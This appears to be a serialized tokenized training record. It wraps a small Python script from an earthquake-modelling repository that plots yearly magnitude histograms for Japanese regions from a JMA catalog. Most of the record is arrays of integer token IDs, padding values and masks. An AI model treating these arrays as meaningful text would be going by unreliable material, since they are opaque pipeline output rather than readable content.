14,
2779,
295,
5589,
314,
2269,
2518,
1305,
871,
2382,
10087,
14,
272,
408,
339,
1720,
275,
298,
26641,
282,
2518,
687,
2269,
13,
20393,
370,
3715,
13,
20393,
14,
710,
892,
5981,
12,
2518,
12,
436,
1255,
911,
849,
370,
314,
2269,
1373,
7444,
10087,
2,
272,
1249,
275,
298,
1972,
63,
498,
3031,
665,
1222,
5981,
30,
665,
1222,
2518,
30,
665,
1222,
1255,
4335,
339,
347,
2198,
63,
589,
8,
277,
12,
627,
589,
304,
267,
408,
267,
1432,
282,
959,
13,
2960,
402,
3032,
315,
1338,
367,
334,
1972,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
680,
267,
408,
267,
340,
822,
8,
589,
9,
665,
499,
26,
288,
746,
14393,
8,
355,
298,
8462,
63,
475,
63,
1294,
5074,
737,
5210,
2877,
2368,
26,
298,
355,
298,
65,
2518,
63,
498,
436,
282,
922,
5148,
334,
2123,
503,
2870,
2924,
288,
776,
398,
862,
26,
288,
2518,
63,
498,
275,
22574,
14,
504,
63,
875,
8,
589,
59,
16,
566,
267,
871,
6378,
10230,
26,
288,
746,
14393,
480,
3364,
2909,
1059,
531,
398,
862,
26,
288,
922,
275,
922,
63,
504,
63,
495,
8,
589,
59,
17,
566,
267,
871,
2876,
14,
7400,
26,
288,
746,
14393,
480,
1944,
922,
1911,
15836,
701,
8352,
908,
8,
589,
59,
17,
2459,
398,
5981,
275,
2518,
275,
1255,
275,
488,
267,
862,
26,
288,
5981,
275,
1249,
59,
18,
61,
288,
2518,
275,
1249,
59,
19,
61,
288,
1255,
275,
1249,
59,
20,
61,
267,
871,
7888,
26,
288,
986,
398,
372,
2518,
63,
498,
12,
922,
14,
344,
12,
5981,
12,
2518,
12,
1255,
339,
347,
2429,
8,
277,
12,
627,
589,
12,
1011,
1419,
304,
267,
2518,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
275,
291,
14,
1122,
63,
589,
2031,
589,
9,
398,
3952,
9043,
275,
11740,
19322,
9043,
8,
288,
1350,
63,
10012,
29,
10012,
1062,
288,
3715,
63,
10012,
29,
10012,
19050,
362,
63,
10012,
63,
991,
63,
466,
8,
25142,
14,
804,
14,
1294,
395,
267,
776,
398,
3952,
9043,
14,
8462,
63,
9217,
63,
1972,
8,
1972,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
199,
9323,
10041,
1414,
370,
12810,
282,
2518,
687,
314,
2269,
13503,
10996,
199,
475,
314,
892,
3715,
13,
20393,
10996,
14,
199,
624,
199,
504,
1639,
14,
1018,
14,
8110,
14,
1095,
492,
22239,
12,
14393,
199,
504,
1639,
14,
2828,
14,
1178,
14,
992,
492,
2876,
199,
504,
9872,
14,
10012,
14,
1176,
492,
10996,
199,
504,
9872,
14,
10012,
14,
1294,
63,
4071,
9043,
492,
11740,
19322,
9043,
199,
504,
15058,
63,
1612,
14,
8268,
14,
1612,
492,
22574,
199,
504,
15058,
63,
1612,
492,
6378,
10230,
199,
504,
9872,
14,
10012,
492,
23431,
199,
504,
23061,
14,
8110,
14,
4405,
14,
1208,
492,
922,
63,
504,
63,
495,
421,
199,
533,
5817,
8,
25150,
304,
272,
408,
272,
28195,
1866,
282,
2518,
687,
2269,
13,
20393,
370,
3715,
13,
20393,
14,
2779,
295,
5589,
314,
2269,
2518,
1305,
871,
2382,
10087,
14,
272,
408,
339,
1720,
275,
298,
26641,
282,
2518,
687,
2269,
13,
20393,
370,
3715,
13,
20393,
14,
710,
892,
5981,
12,
2518,
12,
436,
1255,
911,
849,
370,
314,
2269,
1373,
7444,
10087,
2,
272,
1249,
275,
298,
1972,
63,
498,
3031,
665,
1222,
5981,
30,
665,
1222,
2518,
30,
665,
1222,
1255,
4335,
339,
347,
2198,
63,
589,
8,
277,
12,
627,
589,
304,
267,
408,
267,
1432,
282,
959,
13,
2960,
402,
3032,
315,
1338,
367,
334,
1972,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
680,
267,
408,
267,
340,
822,
8,
589,
9,
665,
499,
26,
288,
746,
14393,
8,
355,
298,
8462,
63,
475,
63,
1294,
5074,
737,
5210,
2877,
2368,
26,
298,
355,
298,
65,
2518,
63,
498,
436,
282,
922,
5148,
334,
2123,
503,
2870,
2924,
288,
776,
398,
862,
26,
288,
2518,
63,
498,
275,
22574,
14,
504,
63,
875,
8,
589,
59,
16,
566,
267,
871,
6378,
10230,
26,
288,
746,
14393,
480,
3364,
2909,
1059,
531,
398,
862,
26,
288,
922,
275,
922,
63,
504,
63,
495,
8,
589,
59,
17,
566,
267,
871,
2876,
14,
7400,
26,
288,
746,
14393,
480,
1944,
922,
1911,
15836,
701,
8352,
908,
8,
589,
59,
17,
2459,
398,
5981,
275,
2518,
275,
1255,
275,
488,
267,
862,
26,
288,
5981,
275,
1249,
59,
18,
61,
288,
2518,
275,
1249,
59,
19,
61,
288,
1255,
275,
1249,
59,
20,
61,
267,
871,
7888,
26,
288,
986,
398,
372,
2518,
63,
498,
12,
922,
14,
344,
12,
5981,
12,
2518,
12,
1255,
339,
347,
2429,
8,
277,
12,
627,
589,
12,
1011,
1419,
304,
267,
2518,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
275,
291,
14,
1122,
63,
589,
2031,
589,
9,
398,
3952,
9043,
275,
11740,
19322,
9043,
8,
288,
1350,
63,
10012,
29,
10012,
1062,
288,
3715,
63,
10012,
29,
10012,
19050,
362,
63,
10012,
63,
991,
63,
466,
8,
25142,
14,
804,
14,
1294,
395,
267,
776,
398,
3952,
9043,
14,
8462,
63,
9217,
63,
1972,
8,
1972,
63,
498,
12,
922,
12,
5981,
12,
2518,
12,
1255,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
PyQuake/earthquakemodels
|
code/runExperiments/histogramMagnitude.py
|
1
|
1982
|
import matplotlib.pyplot as plt
import models.model as model
import earthquake.catalog as catalog
from collections import OrderedDict
def histogramMagnitude(catalog_, region):
"""
Creates the histogram of magnitudes by a given region.
Saves the histogram to the follwing path ./code/Zona2/histograms/'+region+'/Magnitude Histogram of ' + str(year) + " " + region + '.png'
Where region, year are given by the application
From 2000 to 2011
"""
definition = model.loadModelDefinition('../params/' + region + '.txt')
catalogFiltred = catalog.filter(catalog_, definition)
year = 2000
while(year < 2012):
data = dict()
for i in range(len(catalogFiltred)):
if catalogFiltred[i]['year'] == year and catalogFiltred[i]['lat'] > 34.8 and catalogFiltred[i][
'lat'] < 37.05 and catalogFiltred[i]['lon'] > 138.8 and catalogFiltred[i]['lon'] < 141.05:
data[catalogFiltred[i]['mag']] = data.get(catalogFiltred[i]['mag'], 0) + 1
b = OrderedDict(sorted(data.items()))
plt.title('Histogram of ' + str(year) + " " + region)
plt.bar(range(len(data)), b.values(), align='center')
plt.xticks(range(len(data)), b.keys(), rotation=25)
# print(b)
axes = plt.gca()
plt.savefig(
'../Zona2/histograms/'+region+'/Magnitude Histogram of ' +
str(year) +
" " +
region +
'.png')
del data
year += 1
def main():
"""
Calls function to plot a hitogram of magnitudes by region, based on JMA catalog
"""
catalog_ = catalog.readFromFile('../data/jmacat_2000_2013.dat')
region = "Kanto"
histogramMagnitude(catalog_, region)
region = "Kansai"
histogramMagnitude(catalog_, region)
region = "Tohoku"
histogramMagnitude(catalog_, region)
region = "EastJapan"
histogramMagnitude(catalog_, region)
if __name__ == "__main__":
main()
|
bsd-3-clause
|
[
646,
8027,
14,
13563,
465,
4488,
199,
646,
1709,
14,
1238,
465,
1402,
199,
646,
8413,
273,
392,
1728,
14,
7959,
465,
10594,
199,
504,
5055,
492,
8773,
199,
199,
318,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
304,
272,
408,
272,
10560,
314,
15379,
402,
15916,
390,
26783,
701,
282,
1627,
4897,
14,
272,
428,
7047,
314,
15379,
370,
314,
1699,
20692,
316,
931,
16605,
600,
15,
58,
265,
65,
18,
15,
72,
22137,
19047,
4551,
23164,
22745,
78,
7779,
869,
8543,
402,
283,
435,
620,
8,
3403,
9,
435,
298,
298,
435,
4897,
435,
1987,
4524,
7,
272,
17685,
4897,
12,
5361,
787,
1627,
701,
314,
4223,
272,
11606,
12293,
370,
7760,
272,
408,
272,
5492,
275,
1402,
14,
912,
1685,
10701,
24592,
1162,
4805,
435,
4897,
435,
1987,
2424,
358,
272,
10594,
38,
4803,
581,
275,
10594,
14,
1541,
8,
7959,
3131,
5492,
9,
272,
5361,
275,
12293,
272,
1830,
8,
3403,
665,
6029,
304,
267,
666,
275,
1211,
342,
267,
367,
284,
315,
1425,
8,
552,
8,
7959,
38,
4803,
581,
2298,
288,
340,
10594,
38,
4803,
581,
59,
73,
2733,
3403,
418,
508,
5361,
436,
10594,
38,
4803,
581,
59,
73,
2733,
4452,
418,
690,
8177,
14,
24,
436,
10594,
38,
4803,
581,
59,
73,
1527,
490,
283,
4452,
418,
665,
6877,
14,
1717,
436,
10594,
38,
4803,
581,
59,
73,
2733,
5298,
418,
690,
26309,
14,
24,
436,
10594,
38,
4803,
581,
59,
73,
2733,
5298,
418,
665,
413,
2953,
14,
1717,
26,
355,
666,
59,
7959,
38,
4803,
581,
59,
73,
2733,
5615,
6538,
275,
666,
14,
362,
8,
7959,
38,
4803,
581,
59,
73,
2733,
5615,
995,
378,
9,
435,
413,
267,
330,
275,
8773,
8,
5917,
8,
576,
14,
1744,
4059,
267,
4488,
14,
1213,
360,
25055,
402,
283,
435,
620,
8,
3403,
9,
435,
298,
298,
435,
4897,
9,
267,
4488,
14,
1700,
8,
1842,
8,
552,
8,
576,
1826,
330,
14,
1459,
1062,
6998,
534,
4218,
358,
267,
4488,
14,
26217,
8,
1842,
8,
552,
8,
576,
1826,
330,
14,
1612,
1062,
13038,
29,
821,
9,
267,
327,
870,
8,
66,
9,
267,
7824,
275,
4488,
14,
71,
696,
342,
267,
4488,
14,
19556,
8,
288,
20644,
58,
265,
65,
18,
15,
72,
22137,
19047,
4551,
23164,
22745,
78,
7779,
869,
8543,
402,
283,
435,
288,
620,
8,
3403,
9,
435,
288,
298,
298,
435,
288,
4897,
435,
288,
1987,
4524,
358,
267,
2150,
666,
267,
5361,
847,
413,
199,
199,
318,
2446,
837,
272,
408,
272,
28055,
805,
370,
5137,
282,
9793,
79,
1679,
402,
15916,
390,
26783,
701,
4897,
12,
4079,
641,
1603,
2054,
10594,
272,
408,
272,
10594,
63,
275,
10594,
14,
739,
26637,
24592,
576,
15,
74,
3088,
292,
63,
8269,
63,
6965,
14,
4616,
358,
272,
4897,
275,
298,
43,
290,
475,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
339,
4897,
275,
298,
43,
796,
5789,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
18407,
4897,
275,
298,
1378,
526,
20661,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
259,
339,
4897,
275,
298,
37,
1810,
42,
439,
290,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
272,
2446,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
8027,
14,
13563,
465,
4488,
199,
646,
1709,
14,
1238,
465,
1402,
199,
646,
8413,
273,
392,
1728,
14,
7959,
465,
10594,
199,
504,
5055,
492,
8773,
199,
199,
318,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
304,
272,
408,
272,
10560,
314,
15379,
402,
15916,
390,
26783,
701,
282,
1627,
4897,
14,
272,
428,
7047,
314,
15379,
370,
314,
1699,
20692,
316,
931,
16605,
600,
15,
58,
265,
65,
18,
15,
72,
22137,
19047,
4551,
23164,
22745,
78,
7779,
869,
8543,
402,
283,
435,
620,
8,
3403,
9,
435,
298,
298,
435,
4897,
435,
1987,
4524,
7,
272,
17685,
4897,
12,
5361,
787,
1627,
701,
314,
4223,
272,
11606,
12293,
370,
7760,
272,
408,
272,
5492,
275,
1402,
14,
912,
1685,
10701,
24592,
1162,
4805,
435,
4897,
435,
1987,
2424,
358,
272,
10594,
38,
4803,
581,
275,
10594,
14,
1541,
8,
7959,
3131,
5492,
9,
272,
5361,
275,
12293,
272,
1830,
8,
3403,
665,
6029,
304,
267,
666,
275,
1211,
342,
267,
367,
284,
315,
1425,
8,
552,
8,
7959,
38,
4803,
581,
2298,
288,
340,
10594,
38,
4803,
581,
59,
73,
2733,
3403,
418,
508,
5361,
436,
10594,
38,
4803,
581,
59,
73,
2733,
4452,
418,
690,
8177,
14,
24,
436,
10594,
38,
4803,
581,
59,
73,
1527,
490,
283,
4452,
418,
665,
6877,
14,
1717,
436,
10594,
38,
4803,
581,
59,
73,
2733,
5298,
418,
690,
26309,
14,
24,
436,
10594,
38,
4803,
581,
59,
73,
2733,
5298,
418,
665,
413,
2953,
14,
1717,
26,
355,
666,
59,
7959,
38,
4803,
581,
59,
73,
2733,
5615,
6538,
275,
666,
14,
362,
8,
7959,
38,
4803,
581,
59,
73,
2733,
5615,
995,
378,
9,
435,
413,
267,
330,
275,
8773,
8,
5917,
8,
576,
14,
1744,
4059,
267,
4488,
14,
1213,
360,
25055,
402,
283,
435,
620,
8,
3403,
9,
435,
298,
298,
435,
4897,
9,
267,
4488,
14,
1700,
8,
1842,
8,
552,
8,
576,
1826,
330,
14,
1459,
1062,
6998,
534,
4218,
358,
267,
4488,
14,
26217,
8,
1842,
8,
552,
8,
576,
1826,
330,
14,
1612,
1062,
13038,
29,
821,
9,
267,
327,
870,
8,
66,
9,
267,
7824,
275,
4488,
14,
71,
696,
342,
267,
4488,
14,
19556,
8,
288,
20644,
58,
265,
65,
18,
15,
72,
22137,
19047,
4551,
23164,
22745,
78,
7779,
869,
8543,
402,
283,
435,
288,
620,
8,
3403,
9,
435,
288,
298,
298,
435,
288,
4897,
435,
288,
1987,
4524,
358,
267,
2150,
666,
267,
5361,
847,
413,
199,
199,
318,
2446,
837,
272,
408,
272,
28055,
805,
370,
5137,
282,
9793,
79,
1679,
402,
15916,
390,
26783,
701,
4897,
12,
4079,
641,
1603,
2054,
10594,
272,
408,
272,
10594,
63,
275,
10594,
14,
739,
26637,
24592,
576,
15,
74,
3088,
292,
63,
8269,
63,
6965,
14,
4616,
358,
272,
4897,
275,
298,
43,
290,
475,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
339,
4897,
275,
298,
43,
796,
5789,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
18407,
4897,
275,
298,
1378,
526,
20661,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
259,
339,
4897,
275,
298,
37,
1810,
42,
439,
290,
2,
272,
15379,
22745,
78,
7779,
8,
7959,
3131,
4897,
9,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
272,
2446,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
